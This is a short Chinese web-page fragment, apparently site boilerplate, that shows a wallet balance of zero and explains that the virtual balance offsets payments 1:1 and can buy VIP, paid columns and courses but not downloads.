钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值